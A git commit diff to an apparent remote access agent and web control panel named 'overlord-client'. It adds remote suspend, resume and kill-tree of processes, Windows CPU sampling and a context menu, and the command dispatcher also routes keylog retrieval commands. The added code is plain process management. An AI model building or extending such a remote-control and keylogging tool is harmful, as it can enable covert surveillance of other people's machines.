add context menu to processes view + add more shit you can do.

This commit is contained in:
KingKDot
2026-05-17 02:35:48 -05:00
parent 0cd05547e8
commit f53b1cf2c8
7 changed files with 494 additions and 75 deletions
@@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
pid = int32(p) pid = int32(p)
} }
return HandleProcessKill(ctx, env, cmdID, pid) return HandleProcessKill(ctx, env, cmdID, pid)
case "process_suspend":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
suspendPid := int32(0)
if p, ok := payload["pid"].(float64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
suspendPid = int32(p)
}
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
case "process_resume":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
resumePid := int32(0)
if p, ok := payload["pid"].(float64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
resumePid = int32(p)
}
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_list": case "keylog_list":
return HandleKeylogList(ctx, env, cmdID) return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve": case "keylog_retrieve":
@@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
} }
return wire.WriteMsg(ctx, env.Conn, result) return wire.WriteMsg(ctx, env.Conn, result)
} }
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
log.Printf("process_suspend: %d", pid)
err := suspendProcess(pid)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
log.Printf("process_resume: %d", pid)
err := resumeProcess(pid)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
@@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
func killProcess(pid int32) error { func killProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGKILL) return syscall.Kill(int(pid), syscall.SIGKILL)
} }
func suspendProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGSTOP)
}
func resumeProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGCONT)
}
@@ -6,8 +6,11 @@ package handlers
import ( import (
"fmt" "fmt"
"os" "os"
"runtime"
"strings" "strings"
"sync"
"syscall" "syscall"
"time"
"unsafe" "unsafe"
"overlord-client/cmd/agent/wire" "overlord-client/cmd/agent/wire"
@@ -18,10 +21,22 @@ import (
var ( var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll") modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
modPsapi = windows.NewLazySystemDLL("psapi.dll") modPsapi = windows.NewLazySystemDLL("psapi.dll")
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
procEnumProcesses = modPsapi.NewProc("EnumProcesses") procEnumProcesses = modPsapi.NewProc("EnumProcesses")
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
procOpenProcess = modKernel32.NewProc("OpenProcess") procOpenProcess = modKernel32.NewProc("OpenProcess")
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
)
type cpuSample struct {
cpuTime100ns uint64
sampledAt time.Time
}
var (
cpuSamplesMu sync.Mutex
cpuSamples = make(map[int32]cpuSample)
) )
type PROCESS_MEMORY_COUNTERS struct { type PROCESS_MEMORY_COUNTERS struct {
@@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct {
func listProcesses() ([]wire.ProcessInfo, error) { func listProcesses() ([]wire.ProcessInfo, error) {
selfPID := int32(os.Getpid()) selfPID := int32(os.Getpid())
numCPU := runtime.NumCPU()
if numCPU < 1 {
numCPU = 1
}
var pids [4096]uint32 var pids [4096]uint32
var bytesReturned uint32 var bytesReturned uint32
@@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) {
memory = uint64(memCounters.WorkingSetSize) memory = uint64(memCounters.WorkingSetSize)
} }
cpu := 0.0
var creation, exit, kernel, user windows.Filetime
ret, _, _ = procGetProcessTimes.Call(
handle,
uintptr(unsafe.Pointer(&creation)),
uintptr(unsafe.Pointer(&exit)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret != 0 {
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
now := time.Now()
cpuSamplesMu.Lock()
if prev, ok := cpuSamples[pid]; ok {
wallDelta := now.Sub(prev.sampledAt).Seconds()
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
if cpu < 0 {
cpu = 0
} else if cpu > 100 {
cpu = 100
}
}
}
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
cpuSamplesMu.Unlock()
}
var pbi windows.PROCESS_BASIC_INFORMATION var pbi windows.PROCESS_BASIC_INFORMATION
ppid := int32(0) ppid := int32(0)
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil) err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
@@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
PID: pid, PID: pid,
PPID: ppid, PPID: ppid,
Name: name, Name: name,
CPU: 0.0, CPU: cpu,
Memory: memory, Memory: memory,
Username: username, Username: username,
Type: procType, Type: procType,
@@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) {
}) })
} }
cpuSamplesMu.Lock()
live := make(map[int32]struct{}, len(processes))
for _, p := range processes {
live[p.PID] = struct{}{}
}
for pid := range cpuSamples {
if _, ok := live[pid]; !ok {
delete(cpuSamples, pid)
}
}
cpuSamplesMu.Unlock()
return processes, nil return processes, nil
} }
@@ -175,3 +236,33 @@ func killProcess(pid int32) error {
return windows.TerminateProcess(handle, 1) return windows.TerminateProcess(handle, 1)
} }
func suspendProcess(pid int32) error {
procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess")
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
if err != nil {
return err
}
defer windows.CloseHandle(handle)
ret, _, _ := procNtSuspendProcess.Call(uintptr(handle))
if ret != 0 {
return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret)
}
return nil
}
func resumeProcess(pid int32) error {
procNtResumeProcess := modNtdll.NewProc("NtResumeProcess")
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
if err != nil {
return err
}
defer windows.CloseHandle(handle)
ret, _, _ := procNtResumeProcess.Call(uintptr(handle))
if ret != 0 {
return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret)
}
return nil
}
+246 -70
View File
@@ -8,6 +8,7 @@ let processMap = new Map();
let processTree = []; let processTree = [];
let collapsedPids = new Set(); let collapsedPids = new Set();
let selectedPid = null; let selectedPid = null;
let rowsByPid = new Map();
let sortField = "cpu"; let sortField = "cpu";
let sortDirection = "desc"; let sortDirection = "desc";
let searchTerm = ""; let searchTerm = "";
@@ -155,54 +156,54 @@ function buildProcessTree() {
processMap.set(proc.pid, { ...proc, children: [] }); processMap.set(proc.pid, { ...proc, children: [] });
}); });
const isShellParent = (proc) =>
proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe";
const roots = []; const roots = [];
processMap.forEach((proc) => { processMap.forEach((proc) => {
if (proc.ppid && processMap.has(proc.ppid)) { const parent = proc.ppid ? processMap.get(proc.ppid) : null;
processMap.get(proc.ppid).children.push(proc); if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) {
parent.children.push(proc);
} else { } else {
roots.push(proc); roots.push(proc);
} }
}); });
function computeAggregates(proc) {
let cpuTotal = proc.cpu || 0;
let memTotal = Number(proc.memory || 0);
for (const child of proc.children) {
const [childCpu, childMem] = computeAggregates(child);
cpuTotal += childCpu;
memTotal += childMem;
}
proc.aggregatedCpu = Math.min(cpuTotal, 100);
proc.aggregatedMemory = memTotal;
return [cpuTotal, memTotal];
}
roots.forEach(computeAggregates);
const sortValue = (proc) => {
if (sortField === "cpu") return proc.aggregatedCpu;
if (sortField === "memory") return proc.aggregatedMemory;
if (sortField === "name") return proc.name.toLowerCase();
return proc[sortField];
};
const cmp = (a, b) => {
const aVal = sortValue(a);
const bVal = sortValue(b);
if (sortDirection === "asc") return aVal > bVal ? 1 : -1;
return aVal < bVal ? 1 : -1;
};
function sortChildren(proc) { function sortChildren(proc) {
if (proc.children.length > 0) { if (proc.children.length > 0) {
proc.children.sort((a, b) => { proc.children.sort(cmp);
let aVal = a[sortField]; proc.children.forEach(sortChildren);
let bVal = b[sortField];
if (sortField === "name") {
aVal = aVal.toLowerCase();
bVal = bVal.toLowerCase();
}
if (sortDirection === "asc") {
return aVal > bVal ? 1 : -1;
} else {
return aVal < bVal ? 1 : -1;
}
});
proc.children.forEach((child) => sortChildren(child));
} }
} }
roots.forEach(sortChildren);
roots.forEach((proc) => sortChildren(proc)); roots.sort(cmp);
roots.sort((a, b) => {
let aVal = a[sortField];
let bVal = b[sortField];
if (sortField === "name") {
aVal = aVal.toLowerCase();
bVal = bVal.toLowerCase();
}
if (sortDirection === "asc") {
return aVal > bVal ? 1 : -1;
} else {
return aVal < bVal ? 1 : -1;
}
});
processTree = roots; processTree = roots;
} }
@@ -236,45 +237,79 @@ function renderProcesses() {
if (filtered.length === 0) { if (filtered.length === 0) {
processListEl.innerHTML = processListEl.innerHTML =
'<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>'; '<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>';
rowsByPid.clear();
return; return;
} }
processListEl.innerHTML = ""; for (const child of [...processListEl.children]) {
filtered.forEach((proc) => { if (!child.classList.contains("process-row")) child.remove();
const row = createProcessRow(proc, proc.depth); }
processListEl.appendChild(row);
const seen = new Set();
filtered.forEach((proc, index) => {
seen.add(proc.pid);
let row = rowsByPid.get(proc.pid);
if (!row) {
row = createProcessRow(proc, proc.depth);
rowsByPid.set(proc.pid, row);
} else {
updateProcessRow(row, proc, proc.depth);
}
if (processListEl.children[index] !== row) {
processListEl.insertBefore(row, processListEl.children[index] || null);
}
}); });
for (const [pid, row] of rowsByPid) {
if (!seen.has(pid)) {
row.remove();
rowsByPid.delete(pid);
}
}
} }
function createProcessRow(proc, depth = 0) { function rowClassName(proc) {
const row = document.createElement("div"); let cls =
row.className =
"process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors"; "process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
row.dataset.pid = proc.pid; if (selectedPid === proc.pid) cls += " selected";
if (proc.self) cls += " self-process";
if (selectedPid === proc.pid) { return cls;
row.classList.add("selected"); }
}
if (proc.self) {
row.classList.add("self-process");
}
function rowInnerHtml(proc, depth) {
const displayCpu = proc.aggregatedCpu ?? proc.cpu;
const displayMemory = proc.aggregatedMemory ?? Number(proc.memory || 0);
const cpuColor = const cpuColor =
proc.cpu > 50 displayCpu > 50
? "text-red-400" ? "text-red-400"
: proc.cpu > 20 : displayCpu > 25
? "text-yellow-400" ? "text-orange-400"
: "text-slate-400"; : displayCpu > 10
const memoryStr = formatBytes(proc.memory); ? "text-yellow-400"
: displayCpu > 1
? "text-slate-200"
: "text-slate-500";
const MB = 1024 * 1024;
const memColor =
displayMemory > 2048 * MB
? "text-red-400"
: displayMemory > 1024 * MB
? "text-orange-400"
: displayMemory > 256 * MB
? "text-yellow-400"
: displayMemory > 32 * MB
? "text-slate-200"
: "text-slate-500";
const memoryStr = formatBytes(displayMemory);
const hasChildren = proc.children && proc.children.length > 0; const hasChildren = proc.children && proc.children.length > 0;
const isCollapsed = collapsedPids.has(proc.pid); const isCollapsed = collapsedPids.has(proc.pid);
const indent = " ".repeat(depth); const indent = '<span class="tree-indent-guide"></span>'.repeat(depth);
let treeIcon = ""; let treeIcon;
if (hasChildren) { if (hasChildren) {
treeIcon = `<span class="tree-icon" data-pid="${escapeHtml(String(proc.pid))}">${isCollapsed ? "▶" : "▼"}</span>`; treeIcon = `<span class="tree-icon${isCollapsed ? " collapsed" : ""}" data-pid="${escapeHtml(String(proc.pid))}"><i class="fa-solid fa-chevron-down text-[10px]"></i></span>`;
} else if (depth > 0) { } else {
treeIcon = '<span class="tree-indent"></span>'; treeIcon = '<span class="tree-indent"></span>';
} }
@@ -301,28 +336,45 @@ function createProcessRow(proc, depth = 0) {
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>' ? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
: ""; : "";
row.innerHTML = ` return `
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div> <div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
<div class="col-span-4 flex items-center gap-1 truncate"> <div class="col-span-4 flex items-center gap-1 truncate">
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i> ${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge} <span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
</div> </div>
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div> <div class="col-span-2 text-sm ${cpuColor} font-semibold">${displayCpu.toFixed(1)}%</div>
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div> <div class="col-span-2 text-sm ${memColor}">${memoryStr}</div>
<div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div> <div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div>
`; `;
}
function updateProcessRow(row, proc, depth) {
const nextClass = rowClassName(proc);
if (row.className !== nextClass) row.className = nextClass;
row.innerHTML = rowInnerHtml(proc, depth);
}
function createProcessRow(proc, depth = 0) {
const row = document.createElement("div");
row.dataset.pid = proc.pid;
row.className = rowClassName(proc);
row.innerHTML = rowInnerHtml(proc, depth);
row.onclick = (e) => { row.onclick = (e) => {
if (e.target.classList.contains("tree-icon")) { const pid = Number(row.dataset.pid);
toggleCollapse(proc.pid); if (e.target.closest(".tree-icon")) {
toggleCollapse(pid);
return; return;
} }
selectProcess(proc.pid); selectProcess(pid);
}; };
row.ondblclick = () => { row.oncontextmenu = (e) => {
selectProcess(proc.pid); e.preventDefault();
killProcess(); e.stopPropagation();
const pid = Number(row.dataset.pid);
selectProcess(pid);
showContextMenu(e.clientX, e.clientY, pid);
}; };
return row; return row;
@@ -420,6 +472,130 @@ function escapeHtml(text) {
return div.innerHTML; return div.innerHTML;
} }
// Context menu
let contextMenuEl = null;
function createContextMenu() {
const menu = document.createElement("div");
menu.id = "process-context-menu";
menu.className = "fixed z-50 hidden min-w-[180px] bg-slate-800 border border-slate-700 rounded-lg shadow-xl shadow-black/40 py-1 text-sm";
menu.innerHTML = `
<button data-action="suspend" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-pause w-4 text-center text-yellow-400"></i> Suspend Process
</button>
<button data-action="resume" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-play w-4 text-center text-green-400"></i> Resume Process
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="kill" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-skull-crossbones w-4 text-center text-red-400"></i> Kill Process
</button>
<button data-action="kill-tree" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-diagram-project w-4 text-center text-red-400"></i> Kill Process Tree
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="copy-pid" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-copy w-4 text-center text-blue-400"></i> Copy PID
</button>
<button data-action="copy-name" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-tag w-4 text-center text-blue-400"></i> Copy Name
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="refresh" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-refresh w-4 text-center text-slate-400"></i> Refresh List
</button>
`;
document.body.appendChild(menu);
return menu;
}
function showContextMenu(x, y, pid) {
if (!contextMenuEl) contextMenuEl = createContextMenu();
contextMenuEl.dataset.pid = pid;
contextMenuEl.classList.remove("hidden");
const rect = contextMenuEl.getBoundingClientRect();
const menuW = rect.width || 180;
const menuH = rect.height || 300;
const posX = x + menuW > window.innerWidth ? window.innerWidth - menuW - 8 : x;
const posY = y + menuH > window.innerHeight ? window.innerHeight - menuH - 8 : y;
contextMenuEl.style.left = posX + "px";
contextMenuEl.style.top = posY + "px";
}
function hideContextMenu() {
if (contextMenuEl) contextMenuEl.classList.add("hidden");
}
document.addEventListener("click", hideContextMenu);
document.addEventListener("contextmenu", (e) => {
if (!e.target.closest(".process-row") && !e.target.closest("#process-context-menu")) {
hideContextMenu();
}
});
document.addEventListener("click", (e) => {
const item = e.target.closest(".ctx-item");
if (!item || !contextMenuEl) return;
const action = item.dataset.action;
const pid = Number(contextMenuEl.dataset.pid);
const proc = processes.find((p) => p.pid === pid);
hideContextMenu();
switch (action) {
case "suspend":
if (!proc) break;
if (!confirm(`Suspend process "${proc.name}" (PID: ${pid})?`)) break;
send({ type: "process_suspend", pid });
updateStatus("connected", "Suspending process...");
break;
case "resume":
if (!proc) break;
send({ type: "process_resume", pid });
updateStatus("connected", "Resuming process...");
break;
case "kill":
if (!proc) break;
if (!confirm(`Kill process "${proc.name}" (PID: ${pid})?`)) break;
send({ type: "process_kill", pid });
updateStatus("connected", "Killing process...");
break;
case "kill-tree":
if (!proc) break;
if (!confirm(`Kill process "${proc.name}" (PID: ${pid}) and all child processes?`)) break;
killProcessTree(pid);
break;
case "copy-pid":
navigator.clipboard.writeText(String(pid));
break;
case "copy-name":
if (proc) navigator.clipboard.writeText(proc.name);
break;
case "refresh":
requestProcessList();
break;
}
});
function killProcessTree(pid) {
const toKill = [];
function collectChildren(parentPid) {
for (const proc of processes) {
if (proc.ppid === parentPid && proc.pid !== parentPid) {
collectChildren(proc.pid);
toKill.push(proc.pid);
}
}
}
collectChildren(pid);
toKill.push(pid);
for (const p of toKill) {
send({ type: "process_kill", pid: p });
}
updateStatus("connected", `Killing ${toKill.length} processes...`);
}
refreshBtn.onclick = () => requestProcessList(); refreshBtn.onclick = () => requestProcessList();
killBtn.onclick = () => killProcess(); killBtn.onclick = () => killProcess();
+34 -4
View File
@@ -50,20 +50,50 @@
#process-list::-webkit-scrollbar-thumb:hover { #process-list::-webkit-scrollbar-thumb:hover {
background: #64748b; background: #64748b;
} }
.tree-indent-guide {
display: inline-block;
position: relative;
width: 16px;
align-self: stretch;
flex-shrink: 0;
}
.tree-indent-guide::before {
content: "";
position: absolute;
left: 7px;
top: 0;
bottom: 0;
width: 1px;
background: rgba(100, 116, 139, 0.25);
}
.tree-indent { .tree-indent {
display: inline-block; display: inline-block;
width: 20px; width: 16px;
flex-shrink: 0;
} }
.tree-icon { .tree-icon {
display: inline-block; display: inline-flex;
align-items: center;
justify-content: center;
width: 16px; width: 16px;
text-align: center; height: 16px;
margin-right: 4px; margin-right: 4px;
color: #64748b;
cursor: pointer; cursor: pointer;
user-select: none; user-select: none;
border-radius: 3px;
transition:
color 120ms ease,
background-color 120ms ease,
transform 150ms ease;
flex-shrink: 0;
} }
.tree-icon:hover { .tree-icon:hover {
color: #60a5fa; color: #93c5fd;
background-color: rgba(96, 165, 250, 0.12);
}
.tree-icon.collapsed {
transform: rotate(-90deg);
} }
.process-row.collapsed > .children { .process-row.collapsed > .children {
display: none; display: none;
@@ -360,6 +360,26 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
metrics.recordCommand("process_kill"); metrics.recordCommand("process_kill");
break; break;
} }
case "process_suspend": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "process_suspend", id: commandId, payload: { pid } } as any));
metrics.recordCommand("process_suspend");
break;
}
case "process_resume": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "process_resume", id: commandId, payload: { pid } } as any));
metrics.recordCommand("process_resume");
break;
}
default: default:
break; break;
} }